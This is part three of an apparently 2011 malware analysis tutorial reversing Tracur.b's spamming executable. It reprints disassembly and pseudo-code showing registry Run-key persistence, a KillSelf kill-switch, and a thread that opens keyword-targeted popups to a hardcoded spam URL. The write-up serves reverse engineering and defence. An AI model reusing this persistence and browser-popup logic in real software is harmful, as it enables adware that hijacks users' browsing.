Tracur Malware Analysis part3
From UIC
Tracur.b Analysis - Part 3
Contents |
| Tracur Malware Analysis part3 | |
|---|---|
| Author: | Quequero |
| Email: | |
| Website: | http://quequero.org |
| Date: | 04/02/2011 (dd/mm/yyyy) |
| Level: |
|
| Language: | English |
| Comments: | Time to catch the spamming thread! |
Tracur.b drops an executable that's used to perform one single tasks: spam the user. The executable's analysis is not tough at all since the malware coder left debugging information into the project, speeding up a lot our reversing session. Therefore the code we are going to analyze will be very straightforward and we'll figure out what's going on very easy. Enjoy the reading and don't forget to take a look at the first and second part if you've missed them.
Lsass.exe
Lsass.exe is the executable's name we're dealing with. It's not hidden using rootkit techniques so you can simply grab it from the following path:
%APPDATA%\SysWin\lsass.exe
pretty easy to spot.
Unpacking
Now load it into OllyDbg and soon you'll notice that's packed with the same packer we've analyzed in the first and second part, simply step till you get here:
00D369BE F3:AA rep stos byte ptr es:[edi]
00D369C0 57 push edi
00D369C1 8D7F 2A lea edi,[edi+2A]
00D369C4 5F pop edi
00D369C5 8B75 F4 mov esi,dword ptr ss:[ebp-0C] ; <--- Unpacked executable in ESI
00D369C8 50 push eax
Just dump it and you'll be done, remember to remove any unwanted byte from the byte.
Analysis
Let's go straight into the code, run IDA and let her crunch your lsass.exe, you'll soon notice that the first action performed by the WinMain() is to start a new thread:
.text:00402A38 push esi
.text:00402A39 push edi
.text:00402A3A push 0 ; int
.text:00402A3C push 0 ; dwStackSize
.text:00402A3E push offset ThreadAddToStartup ; int
.text:00402A43 call __beginthread
This thread performs a really easy task, follow the code to the ThreadAddToStartup routine:
.text:004012AE push offset aAdm ; "adm"
.text:004012B3 push eax ; wchar_t *
.text:004012B4 call _wcsstr
.text:004012B9 add esp, 8
.text:004012BC test eax, eax
.text:004012BE jz short loc_4012EB
.text:004012C0 lea ecx, [esp+428h+hKey]
.text:004012C4 push ecx ; phkResult
.text:004012C5 push offset SubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:004012CA push 80000002h ; hKey
.text:004012CF call esi ; RegCreateKeyW
this function simply retrieves Windows version and username, consequently it registers a new registry key used to autostart the executable:
HKEY_LOCAL_MACHINE
SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
if (isWindowsXP() && !isAdministrator())
HKEY_CURRENT_USER
Software\Microsoft\Windows\CurrentVersion\Run
if (isVista() || isWin2k3() || isWin2k() || isWinNt())
HKEY_CURRENT_USER
Software\Microsoft\Windows\CurrentVersion\Run
if (isWin95() || isWin98())
HKEY_LOCAL_MACHINE
Software\Microsoft\Windows\CurrentVersion\Run
if (isWin7() && isAdministrator())
HKEY_CURRENT_USER
Software\Microsoft\Windows\CurrentVersion\Run
if (isSystem())
HKEY_LOCAL_MACHINE
Software\Microsoft\Windows\CurrentVersion\Run
Key name is: RTHDBPL, we've already met it in the previous part, pointing to the initial directory: %APPDATA%\SysWin\lsass.exe or %windir%\lsass.exe. At this point we know that:
- This component autostarts using the registry
- This component is not called/run by the malware dll...
- This component creates a mutex called SERPv2 (look into the WinMain() body)
Except for a lot of calls to OutputDebugString() and a dead-branch that leads to a DebugBreak() call (hey coder, where was your brain while you were writing the code?!?!?!), there are only a few interesting functions to examine.
SetKillSelfKey
This is a dummy name I've invented for the following function:
.text:00402BC0 ; WinMain(x,x,x,x)+17Cj
.text:00402BC0 call SetKillselfKey
That's obviously a leftover of a debugging version:
.text:00401B93 cmp eax, 1
.text:00401B96 jnz short loc_401BA9
.text:00401B98 lea eax, [esp+8+hKey]
.text:00401B9C push eax
.text:00401B9D push offset aSoftware ; "SOFTWARE"
.text:00401BA2 push 80000002h
.text:00401BA7 jmp short loc_401BB8
.text:00401BA9 ; ---------------------------------------------------------------------------
.text:00401BA9
.text:00401BA9 loc_401BA9: ; CODE XREF: SetKillselfKey+36�j
.text:00401BA9 lea ecx, [esp+8+hKey]
.text:00401BAD push ecx ; phkResult
.text:00401BAE push offset aIdentities ; "Identities"
.text:00401BB3 push 80000001h ; hKey
.text:00401BB8
.text:00401BB8 loc_401BB8: ; CODE XREF: SetKillselfKey+47�j
.text:00401BB8 call ds:RegCreateKeyW
.text:00401BBE mov edx, [esp+8+hKey]
.text:00401BC2 push 14h
.text:00401BC4 push esi
.text:00401BC5 push 1
.text:00401BC7 push 0
.text:00401BC9 push offset aKillself ; "KillSelf"
.text:00401BCE push edx ; hKey
.text:00401BCF call ds:RegSetValueExW
.text:00401BD5 push 226h ; dwMilliseconds
.text:00401BDA call ds:Sleep
.text:00401BE0 mov eax, [esp+8+hKey]
.text:00401BE4 push offset aKillself ; "KillSelf"
.text:00401BE9 push eax ; hKey
.text:00401BEA call ds:RegDeleteValueW
.text:00401BF0 push offset aAstaLaVista ; "Asta la vista"
.text:00401BF5 call ds:OutputDebugStringW
.text:00401BFB mov ecx, [esp+8+hKey]
.text:00401BFF push ecx ; hKey
.text:00401C00 call ds:RegCloseKey
What's this call for? Actually it checks for the user under which the malware is running on, if it's system a variable is set up like this:
- "HKEY_LOCAL_MACHINE/Software"
if it's not system the variable is set up like this:
- "HKEY_CURRENT_USER/Identities"
The code that follows this initialization will simply:
- Create a key with the just set up name
- Set a REG_SZ string with the name KillSelf to value ok
- Wait for 550ms
- Remove the key
- Print "Asta la vista" to the debugger
Apparently it's used as a test function to inactivate the malware, the reason I suspect it is simply because after setting the key there's a wait loop, most probably used to let another part of the malware to read and acknowledge it. My suspect were confirmed after finding the following function:
...
.text:00401A6C mov ebp, ds:OutputDebugStringW
...
.text:00401A74 mov edi, ds:RegOpenKeyExW
...
.text:00401A80
.text:00401A80 while_1: ; CODE XREF: ThreadAutoKill+F7�j
...
.text:00401A99 push ecx ; size_t
.text:00401A9A call ??2@YAPAXI@Z ; new()
...
.text:00401AB6 call ebx ; GetUsernameW
...
.text:00401ABD call ebp ; OutputDebugStringW
.text:00401ABF lea eax, [esp+22Ch+OutputString]
.text:00401AC3 push offset aSystem ; "SYSTEM"
.text:00401AC8 push eax ; wchar_t *
.text:00401AC9 call _wcsstr
...
.text:00401AD3 jz short loc_401AED
...
.text:00401AED lea edx, [esp+22Ch+hKey]
.text:00401AF1 push edx
.text:00401AF2 push 20019h
.text:00401AF7 push 0
.text:00401AF9 push offset aIdentities ; "Identities"
.text:00401AFE push 80000001h
.text:00401B03 call edi ; RegOpenKeyExW
...
.text:00401B13 push offset aKillself ; "KillSelf"
.text:00401B18 push ecx ; hKey
.text:00401B19 call ds:RegQueryValueExW
...
.text:00401B2A push offset aOk ; "ok"
.text:00401B2F push esi ; wchar_t *
.text:00401B30 call _wcsstr
...
.text:00401B3A jnz short Exit
.text:00401B3C push 1F4h ; dwMilliseconds
.text:00401B41 call ds:Sleep
.text:00401B47 jmp while_1
...
.text:00401B4C Exit: ; CODE XREF: ThreadAutoKill+EA�j
.text:00401B4C push offset aIAmKilled ; "I am killed!"
.text:00401B51 call ebp ; OutputDebugStringW
.text:00401B53 push 0 ; uExitCode
.text:00401B55 call $LN32_0
This is almost the same code used in the previous call, this is what it does:
- Checks the username to see if it's system or not, and initializes a variable
- Opens the registry key KillSelf and retrieves the value
- If the value is ok, it will kill the thread and print I am killed!
Spam Thread
This module is mainly used to spam, and it's not really hard to get it, let's begin with the following thread-routine:
.text:004029F0 push esi
.text:004029F1 mov esi, ds:EnumWindows
.text:004029F7 push edi
.text:004029F8 mov edi, ds:Sleep
.text:004029FE mov edi, edi
.text:00402A00
.text:00402A00 loc_402A00: ; CODE XREF: ThreadSpam+20�j
.text:00402A00 push 0 ; lParam
.text:00402A02 push offset EnumCallback ; lpEnumFunc
.text:00402A07 call esi ; EnumWindows
.text:00402A09 push 3E8h
.text:00402A0E call edi
.text:00402A10 jmp short loc_402A00
.text:00402A10 ThreadSpam endp
That's a simple loop that just call EnumWindows every 1 second, what's interesting is the callback function, translated here to pseudo-code for the sake of simplicity:
// .text:004028D0 EnumCallback proc near ; DATA XREF: ThreadSpam+12�o
if (GetWindowTextW(hWnd, &WindowTitle, 510)
&& (wcsstr(&WindowTitle, L"Explorer")
|| wcsstr(&WindowTitle, L"Opera")
|| wcsstr(&WindowTitle, L"Chrome")
|| wcsstr(&WindowTitle, L"Firefox"))) {
pwSpamType = (const wchar_t *)GetSpamType(&WindowTitle);
if (!wcsstr(pwSpamType, L"none") && SetPopupCount() == 1) {
pwSpam = GetSpamType(&WindowTitle);
pwLocalTime = GetFormattedLocaltime();
wsprintfW(
&buf,
L"http://%s/se.php?pop=1&aid=%s&sid=%s&key=%s",
L"roxifind.com",
L"aGlkZGVu",
pwLocalTime,
pwSpam);
ShellExecuteW(0, L"open", &buf, 0, 0, 7);
}
}
return 1;
So basically this is what happens:
- A browser window is identified looking for Explorer, Opera, Chrome or Firefox in the window title
- A spam-type is retrieved using the window title (we'll delve into this later)
- A new "popup" is opened using a particular URL
Let's go a bit deeper into the analysis, the GetSpamType() function is pretty boring but easy to understand, here's just a piece:
.text:00401C85 push esi ; wchar_t *
.text:00401C86 call _wcsstr
.text:00401C8B add esp, 8
.text:00401C8E test eax, eax
.text:00401C90 jz short loc_401C98
.text:00401C92 mov eax, offset aCialis ; "cialis"
.text:00401C97 retn
.text:00401C98 push offset aPharma ; "pharma"
...
.text:00401CAA mov eax, offset aPharma ; "pharma"
...
.text:00401CB0 push offset aCasino ; "casino"
...
.text:00401CC2 mov eax, offset aCasino ; "casino"
A keyword is identified into the window title, and a string that's related to the identified topic is returned. So if we are browsing a casino webpage, the related string will be casino, if we browse for medicines, the related word will be pharma and so on. This string is used to create a popup that's related to what we are looking at. That's a smart move from the malware author ;p and it's called: targeted advertisement. So after identifying the topic of the page, and getting the current local time, a request string is built that will appear like this:
- http://roxifind.com/se.php?pop=1&aid=aGlkZGVu&sid=<local time>&key=<topic>
Live Running
Let's start our VM and let's see what happens when this part of the malware is running. First of all we should take a look at the registry when the system is clean:
And this is the same entry after running Tracur:
We have the malware version as the first value, that's actually 30, the installation date, the last date the malware ran, and some info about the popup presented to the user. Before testing the spamming capabilities let's open DebugView to see what are the messages sent to the debugger:
Basically almost all the debug messages have been left intact, there are still traces of functions removed in the disassembly, but most of them are still complete. It's now time to open a browser and to look for a keyword in google, I've used cialis because it's the first one in the list, but you can search for any word listed into the disassembly. As soon as we hit the return key here's what happens:
On the left we have the window where I was looking for cialis, on the right there's the spam page. At the time of writing, the spam URL has been redirected to Wikipedia, even though when I started writing this tutorial it was still active. Anyway take a look at how the string has been built. This mechanism is pretty rough, but works someway ;p. We can now test the self-killing capabilities of the malware thread by setting up the "KillSelf" key into the registry:
Wow it worked ;p
Malware Intelligence
After analyzing the whole malware we can try to infer some conclusions: first of all the malware uses at least four different components:
- A packer
- A dll
- A downloader
- An executable
At least 3 different entities took part into the malware coding, maybe indirectly. In my opinion the job has been shared in this way
- Someone coded the packer for some kind of group/crew
- Someone else coded the dll and recompiled the gnutella client into a DLL
- Someone else coded the executable
I'm pretty sure that the DLL and the executable have been coded by different people, this is due to the fact that the writing style is very different from each component. More exactly my opinion is the following: some crew/group developed the DLL(s) and the packer, the DLL code has been shared/sold to other people that added the executable module into the dropper, and then released it in the wild. For this reason I'm also pretty sure that somewhere on the internet this DLL was wandering around alone, in similar forms but without the .exe attached, before this crew made Tracur.b. Some other clues points to the fact that we are dealing with at least two persons: the DLL and the packer requires some knowledge, and even without being sophisticated, they can accomplish their jobs. The executable module instead uses a very rough trick to spam the user, and there are a lot of mistakes into the code itself. So if you ask me we are dealing with at least two different coders. Let's take a look at the .exe resources to see if we're able to extract some more information:
Language/Code Page: 1033/1252 // <- English
CompanyName: Andreas Hausladen
FileDescription: Dcc32.exe SpeedFix
FileVersion: 1.2.1.0
InternalName: dcc32speed
LegalCopyright: (C) 2008 Andreas Hausladen
LegalTrademarks:
OriginalFilename: dcc32speed.exe
ProductName: dcc32 SpeedFix
ProductVersion: 1.2
Comments:
Child Type: VarFileInfo
Translation: 1031/1252 // <- German
Is Andreas Hausladen the malware coder??? No clearly not ;p, he's only the developer of dcc32speed.exe that's a module used to speed up Delphi's IDE ;p, that's the most we'll be able to gather from the executable. We can suppose that this variant of Tracur was coded in east Europe since the main node used by the DLL is in Moldova, but the other nodes are in Holland so we can't really be sure about that.
That's all folks :), time to start with the next malware... Just let me find one that's interesting enough ;p.
Disclaimer
I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.
Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.




